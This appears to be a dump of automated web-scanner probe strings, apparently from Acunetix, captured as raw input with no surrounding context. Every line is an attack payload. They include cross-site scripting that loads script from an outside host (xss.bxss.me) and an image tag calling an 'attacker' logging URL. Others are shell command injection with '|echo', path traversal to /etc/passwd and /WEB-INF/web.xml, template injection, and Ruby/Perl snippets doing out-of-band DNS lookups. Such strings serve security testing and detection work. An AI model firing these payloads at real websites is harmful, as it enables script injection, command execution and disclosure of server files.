1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9507></ScRiPt> 1%22onmouseover=y5lO(99712)%22 1<body onload=AF53(9874)> 1<W0ILZI>KIHQC[!+!]</W0ILZI> 1<isindex type=image src=1 onerror=y5lO(9787)> bfg9350%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9350 1<img sRc='http://attacker-9909/log.php? bfgx2396%C0%BEz1%C0%BCz2a%90bcxhjl2396 %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%79%77%56%58%28%39%32%32%37%34%29%22 1<script>ZWaV(9538)</script> PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9036'> 1" 6gcS=824X([!+!]) OmT=" 1<aMWINnQ< |echo ynbjez$()\ jgdhvs\nz^xyu||a #' |echo ynbjez$()\ jgdhvs\nz^xyu||a #|" |echo ynbjez$()\ jgdhvs\nz^xyu||a # PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9291'> 1<ScRiPt >YXbu(9737)</ScRiPt> ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg 1<ScRiPt >824X(9261)</ScRiPt> response.write(9111513*9592409) /WEB-INF/web.xml 1<img src=//xss.bxss.me/t/dot.gif onload=73Ri(9264)> ../pHqghUme '+'A'.concat(70-3).concat(22*4).concat(101).concat(80).concat(103).concat(87)+(require'socket' Socket.gethostbyname('hitzc'+'pjjzxwel98cc9.bxss.me.')[3].to_s)+' %31%3C%53%63%52%69%50%74%20%3E%37%33%52%69%289212%29%3C%2F%73%43%72%69%70%54%3E '.gethostbyname(lc('hitxw'.'qbtbgldobb466.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(81).chr(107).chr(90).' <th:t="${dfb}#foreach PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9963'> pHqghUme9753981 bfg10451%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10451 1<img src=xyz OnErRor=F5Qi(9358)>
